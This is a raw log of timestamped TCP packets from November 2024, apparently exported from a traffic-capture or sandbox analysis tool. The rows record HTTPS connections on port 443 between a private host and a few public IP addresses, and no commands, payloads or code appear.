Nov 17, 2024 12:35:39.045829058 CET	443	49894	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:39.046049118 CET	49895	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:39.046073914 CET	443	49895	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:39.047457933 CET	443	49886	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:39.047665119 CET	443	49886	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:39.047717094 CET	49886	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:39.047718048 CET	443	49886	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:39.047806025 CET	49886	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:39.047847033 CET	49886	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:39.047863007 CET	443	49886	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:39.047877073 CET	49886	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:39.047883987 CET	443	49886	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:39.051000118 CET	49896	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:39.051019907 CET	443	49896	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:39.051075935 CET	49896	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:39.051244020 CET	49896	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:39.051255941 CET	443	49896	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:39.330152988 CET	443	49890	13.107.246.60	192.168.2.6
Nov 17, 2024 12:35:39.332653999 CET	49890	443	192.168.2.6	13.107.246.60
Nov 17, 2024 12:35:39.332663059 CET	443	49890	13.107.246.60	192.168.2.6
Nov 17, 2024 12:35:39.334119081 CET	443	49890	13.107.246.60	192.168.2.6
Nov 17, 2024 12:35:39.334181070 CET	49890	443	192.168.2.6	13.107.246.60
Nov 17, 2024 12:35:39.334702969 CET	49890	443	192.168.2.6	13.107.246.60
Nov 17, 2024 12:35:39.334702969 CET	49890	443	192.168.2.6	13.107.246.60
Nov 17, 2024 12:35:39.334784985 CET	443	49890	13.107.246.60	192.168.2.6
Nov 17, 2024 12:35:39.378546000 CET	49890	443	192.168.2.6	13.107.246.60
Nov 17, 2024 12:35:39.378554106 CET	443	49890	13.107.246.60	192.168.2.6
Nov 17, 2024 12:35:39.425626040 CET	49890	443	192.168.2.6	13.107.246.60
Nov 17, 2024 12:35:39.582897902 CET	443	49890	13.107.246.60	192.168.2.6
Nov 17, 2024 12:35:39.582933903 CET	443	49890	13.107.246.60	192.168.2.6
Nov 17, 2024 12:35:39.582942963 CET	443	49890	13.107.246.60	192.168.2.6
Nov 17, 2024 12:35:39.582978010 CET	443	49890	13.107.246.60	192.168.2.6
Nov 17, 2024 12:35:39.582987070 CET	49890	443	192.168.2.6	13.107.246.60
Nov 17, 2024 12:35:39.583013058 CET	443	49890	13.107.246.60	192.168.2.6
Nov 17, 2024 12:35:39.583041906 CET	443	49890	13.107.246.60	192.168.2.6
Nov 17, 2024 12:35:39.583056927 CET	443	49890	13.107.246.60	192.168.2.6
Nov 17, 2024 12:35:39.583070993 CET	49890	443	192.168.2.6	13.107.246.60
Nov 17, 2024 12:35:39.583070993 CET	49890	443	192.168.2.6	13.107.246.60
Nov 17, 2024 12:35:39.583086967 CET	49890	443	192.168.2.6	13.107.246.60
Nov 17, 2024 12:35:39.583111048 CET	49890	443	192.168.2.6	13.107.246.60
Nov 17, 2024 12:35:39.702234983 CET	443	49890	13.107.246.60	192.168.2.6
Nov 17, 2024 12:35:39.702295065 CET	443	49890	13.107.246.60	192.168.2.6
Nov 17, 2024 12:35:39.702320099 CET	49890	443	192.168.2.6	13.107.246.60
Nov 17, 2024 12:35:39.702347040 CET	443	49890	13.107.246.60	192.168.2.6
Nov 17, 2024 12:35:39.702368021 CET	49890	443	192.168.2.6	13.107.246.60
Nov 17, 2024 12:35:39.702392101 CET	49890	443	192.168.2.6	13.107.246.60
Nov 17, 2024 12:35:39.705697060 CET	443	49891	184.28.90.27	192.168.2.6
Nov 17, 2024 12:35:39.705804110 CET	49891	443	192.168.2.6	184.28.90.27
Nov 17, 2024 12:35:39.709336042 CET	49891	443	192.168.2.6	184.28.90.27
Nov 17, 2024 12:35:39.709347010 CET	443	49891	184.28.90.27	192.168.2.6
Nov 17, 2024 12:35:39.709645987 CET	443	49891	184.28.90.27	192.168.2.6
Nov 17, 2024 12:35:39.711178064 CET	49891	443	192.168.2.6	184.28.90.27
Nov 17, 2024 12:35:39.733376026 CET	443	49892	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:39.733880997 CET	49892	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:39.733901978 CET	443	49892	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:39.734563112 CET	49892	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:39.734568119 CET	443	49892	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:39.755351067 CET	443	49891	184.28.90.27	192.168.2.6
Nov 17, 2024 12:35:39.769144058 CET	443	49893	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:39.774462938 CET	49893	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:39.774503946 CET	443	49893	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:39.774910927 CET	49893	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:39.774919987 CET	443	49893	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:39.775876045 CET	443	49895	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:39.778964996 CET	49895	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:39.778995991 CET	443	49895	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:39.779643059 CET	49895	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:39.779654980 CET	443	49895	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:39.790676117 CET	443	49896	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:39.791268110 CET	49896	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:39.791285038 CET	443	49896	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:39.791827917 CET	49896	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:39.791831970 CET	443	49896	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:39.801737070 CET	443	49894	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:39.803421021 CET	49894	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:39.803435087 CET	443	49894	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:39.808545113 CET	49894	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:39.808549881 CET	443	49894	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:39.821149111 CET	443	49890	13.107.246.60	192.168.2.6
Nov 17, 2024 12:35:39.821182966 CET	443	49890	13.107.246.60	192.168.2.6
Nov 17, 2024 12:35:39.821249962 CET	49890	443	192.168.2.6	13.107.246.60
Nov 17, 2024 12:35:39.821263075 CET	443	49890	13.107.246.60	192.168.2.6
Nov 17, 2024 12:35:39.821296930 CET	49890	443	192.168.2.6	13.107.246.60
Nov 17, 2024 12:35:39.821306944 CET	49890	443	192.168.2.6	13.107.246.60
Nov 17, 2024 12:35:39.861670017 CET	443	49892	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:39.861737967 CET	443	49892	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:39.861784935 CET	443	49892	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:39.861840010 CET	49892	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:39.863367081 CET	49892	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:39.863404989 CET	443	49892	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:39.868527889 CET	49901	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:39.868577957 CET	443	49901	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:39.868686914 CET	49901	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:39.868957996 CET	49901	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:39.868976116 CET	443	49901	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:39.902533054 CET	443	49893	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:39.902623892 CET	443	49893	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:39.902682066 CET	49893	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:39.903312922 CET	49893	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:39.903314114 CET	49893	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:39.903388023 CET	443	49893	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:39.903444052 CET	443	49893	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:39.905349016 CET	443	49895	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:39.905380011 CET	443	49895	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:39.905425072 CET	443	49895	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:39.905437946 CET	49895	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:39.905478001 CET	49895	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:39.906119108 CET	49895	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:39.906143904 CET	443	49895	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:39.919594049 CET	443	49896	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:39.919750929 CET	443	49896	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:39.919821978 CET	49896	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:39.932720900 CET	443	49894	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:39.932815075 CET	443	49894	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:39.932929039 CET	49894	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:39.940116882 CET	443	49890	13.107.246.60	192.168.2.6
Nov 17, 2024 12:35:39.940156937 CET	443	49890	13.107.246.60	192.168.2.6
Nov 17, 2024 12:35:39.940223932 CET	49890	443	192.168.2.6	13.107.246.60
Nov 17, 2024 12:35:39.940253973 CET	443	49890	13.107.246.60	192.168.2.6
Nov 17, 2024 12:35:39.940278053 CET	49890	443	192.168.2.6	13.107.246.60
Nov 17, 2024 12:35:39.940582991 CET	49890	443	192.168.2.6	13.107.246.60
Nov 17, 2024 12:35:39.950926065 CET	49902	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:39.950957060 CET	443	49902	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:39.951184988 CET	49902	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:39.951387882 CET	49896	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:39.951400995 CET	443	49896	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:39.951425076 CET	49896	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:39.951431990 CET	443	49896	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:39.951792955 CET	49894	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:39.951812983 CET	443	49894	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:39.951826096 CET	49894	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:39.951833010 CET	443	49894	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:39.955003977 CET	443	49891	184.28.90.27	192.168.2.6
Nov 17, 2024 12:35:39.955005884 CET	49903	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:39.955046892 CET	443	49903	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:39.955115080 CET	49903	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:39.955173969 CET	49902	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:39.955190897 CET	443	49902	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:39.955735922 CET	49903	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:39.955756903 CET	443	49903	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:39.957520962 CET	49904	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:39.957545042 CET	443	49904	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:39.957657099 CET	49904	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:39.957791090 CET	49904	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:39.957806110 CET	443	49904	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:39.958261013 CET	49905	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:39.958277941 CET	443	49905	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:39.958333969 CET	49905	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:39.958473921 CET	49905	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:39.958486080 CET	443	49905	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:39.991328955 CET	443	49891	184.28.90.27	192.168.2.6
Nov 17, 2024 12:35:39.991393089 CET	49891	443	192.168.2.6	184.28.90.27
Nov 17, 2024 12:35:39.991560936 CET	49891	443	192.168.2.6	184.28.90.27
Nov 17, 2024 12:35:39.991569996 CET	443	49891	184.28.90.27	192.168.2.6
Nov 17, 2024 12:35:39.991584063 CET	49891	443	192.168.2.6	184.28.90.27
Nov 17, 2024 12:35:39.991588116 CET	443	49891	184.28.90.27	192.168.2.6
Nov 17, 2024 12:35:40.059026003 CET	443	49890	13.107.246.60	192.168.2.6
Nov 17, 2024 12:35:40.059056997 CET	443	49890	13.107.246.60	192.168.2.6
Nov 17, 2024 12:35:40.059102058 CET	49890	443	192.168.2.6	13.107.246.60
Nov 17, 2024 12:35:40.059123039 CET	443	49890	13.107.246.60	192.168.2.6
Nov 17, 2024 12:35:40.059160948 CET	49890	443	192.168.2.6	13.107.246.60
Nov 17, 2024 12:35:40.059180975 CET	49890	443	192.168.2.6	13.107.246.60
Nov 17, 2024 12:35:40.177757978 CET	443	49890	13.107.246.60	192.168.2.6
Nov 17, 2024 12:35:40.177791119 CET	443	49890	13.107.246.60	192.168.2.6
Nov 17, 2024 12:35:40.177850008 CET	49890	443	192.168.2.6	13.107.246.60
Nov 17, 2024 12:35:40.177876949 CET	443	49890	13.107.246.60	192.168.2.6
Nov 17, 2024 12:35:40.177896023 CET	49890	443	192.168.2.6	13.107.246.60
Nov 17, 2024 12:35:40.177920103 CET	49890	443	192.168.2.6	13.107.246.60
Nov 17, 2024 12:35:40.296554089 CET	443	49890	13.107.246.60	192.168.2.6
Nov 17, 2024 12:35:40.296595097 CET	443	49890	13.107.246.60	192.168.2.6
Nov 17, 2024 12:35:40.296659946 CET	49890	443	192.168.2.6	13.107.246.60
Nov 17, 2024 12:35:40.296679020 CET	443	49890	13.107.246.60	192.168.2.6
Nov 17, 2024 12:35:40.296715975 CET	49890	443	192.168.2.6	13.107.246.60
Nov 17, 2024 12:35:40.296741009 CET	49890	443	192.168.2.6	13.107.246.60
Nov 17, 2024 12:35:40.415402889 CET	443	49890	13.107.246.60	192.168.2.6
Nov 17, 2024 12:35:40.415431023 CET	443	49890	13.107.246.60	192.168.2.6
Nov 17, 2024 12:35:40.415482044 CET	49890	443	192.168.2.6	13.107.246.60
Nov 17, 2024 12:35:40.415493011 CET	443	49890	13.107.246.60	192.168.2.6
Nov 17, 2024 12:35:40.415518045 CET	49890	443	192.168.2.6	13.107.246.60
Nov 17, 2024 12:35:40.415545940 CET	49890	443	192.168.2.6	13.107.246.60
Nov 17, 2024 12:35:40.416614056 CET	443	49890	13.107.246.60	192.168.2.6
Nov 17, 2024 12:35:40.416635990 CET	443	49890	13.107.246.60	192.168.2.6
Nov 17, 2024 12:35:40.416693926 CET	49890	443	192.168.2.6	13.107.246.60
Nov 17, 2024 12:35:40.416702032 CET	443	49890	13.107.246.60	192.168.2.6
Nov 17, 2024 12:35:40.416733027 CET	49890	443	192.168.2.6	13.107.246.60
Nov 17, 2024 12:35:40.416763067 CET	49890	443	192.168.2.6	13.107.246.60
Nov 17, 2024 12:35:40.535343885 CET	443	49890	13.107.246.60	192.168.2.6
Nov 17, 2024 12:35:40.535384893 CET	443	49890	13.107.246.60	192.168.2.6
Nov 17, 2024 12:35:40.535470009 CET	49890	443	192.168.2.6	13.107.246.60
Nov 17, 2024 12:35:40.535502911 CET	443	49890	13.107.246.60	192.168.2.6
Nov 17, 2024 12:35:40.535523891 CET	49890	443	192.168.2.6	13.107.246.60
Nov 17, 2024 12:35:40.535545111 CET	49890	443	192.168.2.6	13.107.246.60
Nov 17, 2024 12:35:40.611196041 CET	443	49901	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:40.619555950 CET	49901	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:40.619582891 CET	443	49901	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:40.620202065 CET	49901	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:40.620208025 CET	443	49901	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:40.653692007 CET	443	49890	13.107.246.60	192.168.2.6
Nov 17, 2024 12:35:40.653738022 CET	443	49890	13.107.246.60	192.168.2.6
Nov 17, 2024 12:35:40.653796911 CET	49890	443	192.168.2.6	13.107.246.60
Nov 17, 2024 12:35:40.653814077 CET	443	49890	13.107.246.60	192.168.2.6
Nov 17, 2024 12:35:40.653845072 CET	49890	443	192.168.2.6	13.107.246.60
Nov 17, 2024 12:35:40.653872013 CET	49890	443	192.168.2.6	13.107.246.60
Nov 17, 2024 12:35:40.677634001 CET	443	49902	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:40.682123899 CET	49902	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:40.682152987 CET	443	49902	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:40.682688951 CET	49902	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:40.682693958 CET	443	49902	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:40.685087919 CET	443	49903	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:40.685451031 CET	49903	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:40.685467958 CET	443	49903	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:40.686036110 CET	49903	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:40.686041117 CET	443	49903	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:40.689902067 CET	443	49904	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:40.690732002 CET	49904	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:40.690751076 CET	443	49904	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:40.691869974 CET	49904	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:40.691874981 CET	443	49904	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:40.700634956 CET	443	49905	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:40.708560944 CET	49905	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:40.708605051 CET	443	49905	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:40.709160089 CET	49905	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:40.709172010 CET	443	49905	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:40.748033047 CET	443	49901	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:40.748101950 CET	443	49901	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:40.748192072 CET	49901	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:40.748878002 CET	49901	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:40.748897076 CET	443	49901	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:40.756184101 CET	49908	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:40.756217957 CET	443	49908	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:40.756423950 CET	49908	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:40.756773949 CET	49908	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:40.756786108 CET	443	49908	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:40.772532940 CET	443	49890	13.107.246.60	192.168.2.6
Nov 17, 2024 12:35:40.772587061 CET	443	49890	13.107.246.60	192.168.2.6
Nov 17, 2024 12:35:40.772636890 CET	49890	443	192.168.2.6	13.107.246.60
Nov 17, 2024 12:35:40.772669077 CET	443	49890	13.107.246.60	192.168.2.6
Nov 17, 2024 12:35:40.772712946 CET	49890	443	192.168.2.6	13.107.246.60
Nov 17, 2024 12:35:40.772741079 CET	49890	443	192.168.2.6	13.107.246.60
Nov 17, 2024 12:35:40.773488045 CET	443	49890	13.107.246.60	192.168.2.6
Nov 17, 2024 12:35:40.773535013 CET	443	49890	13.107.246.60	192.168.2.6
Nov 17, 2024 12:35:40.773552895 CET	49890	443	192.168.2.6	13.107.246.60
Nov 17, 2024 12:35:40.773560047 CET	443	49890	13.107.246.60	192.168.2.6
Nov 17, 2024 12:35:40.773585081 CET	443	49890	13.107.246.60	192.168.2.6
Nov 17, 2024 12:35:40.773614883 CET	49890	443	192.168.2.6	13.107.246.60
Nov 17, 2024 12:35:40.773636103 CET	49890	443	192.168.2.6	13.107.246.60
Nov 17, 2024 12:35:40.773997068 CET	49890	443	192.168.2.6	13.107.246.60
Nov 17, 2024 12:35:40.774013996 CET	443	49890	13.107.246.60	192.168.2.6
Nov 17, 2024 12:35:40.809108973 CET	443	49902	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:40.809215069 CET	443	49902	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:40.811863899 CET	49902	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:40.813630104 CET	443	49903	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:40.813853025 CET	443	49903	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:40.817193985 CET	49903	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:40.818932056 CET	443	49904	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:40.819052935 CET	443	49904	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:40.820643902 CET	49904	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:40.836105108 CET	443	49905	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:40.836160898 CET	443	49905	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:40.836574078 CET	49905	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:41.017930031 CET	49902	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:41.017961979 CET	443	49902	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:41.017976046 CET	49902	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:41.017982960 CET	443	49902	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:41.082089901 CET	49905	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:41.082108974 CET	443	49905	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:41.082937002 CET	49903	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:41.082973957 CET	443	49903	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:41.082988977 CET	49903	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:41.082998037 CET	443	49903	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:41.084656954 CET	49904	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:41.084656954 CET	49904	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:41.084686041 CET	443	49904	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:41.084698915 CET	443	49904	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:41.087444067 CET	49909	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:41.087466955 CET	443	49909	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:41.087632895 CET	49909	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:41.089556932 CET	49909	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:41.089571953 CET	443	49909	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:41.090986967 CET	49910	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:41.091027021 CET	443	49910	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:41.091245890 CET	49910	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:41.091475964 CET	49910	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:41.091491938 CET	443	49910	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:41.095619917 CET	49911	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:41.095630884 CET	443	49911	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:41.095985889 CET	49911	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:41.097084045 CET	49911	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:41.097093105 CET	443	49911	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:41.097925901 CET	49912	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:41.097954988 CET	443	49912	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:41.098196030 CET	49912	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:41.098298073 CET	49912	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:41.098309994 CET	443	49912	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:41.498946905 CET	443	49908	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:41.499409914 CET	49908	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:41.499434948 CET	443	49908	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:41.499929905 CET	49908	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:41.499937057 CET	443	49908	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:41.630820036 CET	443	49908	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:41.630850077 CET	443	49908	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:41.630896091 CET	443	49908	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:41.630914927 CET	49908	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:41.630954981 CET	49908	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:41.631230116 CET	49908	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:41.631247997 CET	443	49908	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:41.634654999 CET	49915	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:41.634696960 CET	443	49915	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:41.634757042 CET	49915	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:41.634901047 CET	49915	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:41.634913921 CET	443	49915	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:41.811723948 CET	443	49910	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:41.812254906 CET	49910	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:41.812284946 CET	443	49910	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:41.812832117 CET	49910	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:41.812841892 CET	443	49910	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:41.829737902 CET	443	49912	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:41.830481052 CET	49912	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:41.830503941 CET	443	49912	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:41.831161022 CET	443	49911	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:41.831240892 CET	49912	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:41.831245899 CET	443	49912	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:41.831537008 CET	49911	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:41.831557989 CET	443	49911	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:41.831984997 CET	49911	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:41.831990957 CET	443	49911	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:41.938365936 CET	443	49910	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:41.938517094 CET	443	49910	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:41.938641071 CET	49910	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:41.939182043 CET	49910	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:41.939209938 CET	443	49910	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:41.939224958 CET	49910	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:41.939233065 CET	443	49910	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:41.942580938 CET	49916	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:41.942676067 CET	443	49916	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:41.942749977 CET	49916	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:41.942903996 CET	49916	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:41.942929983 CET	443	49916	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:41.957725048 CET	443	49912	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:41.958214045 CET	443	49912	13.107.246.45	192.168.2.6
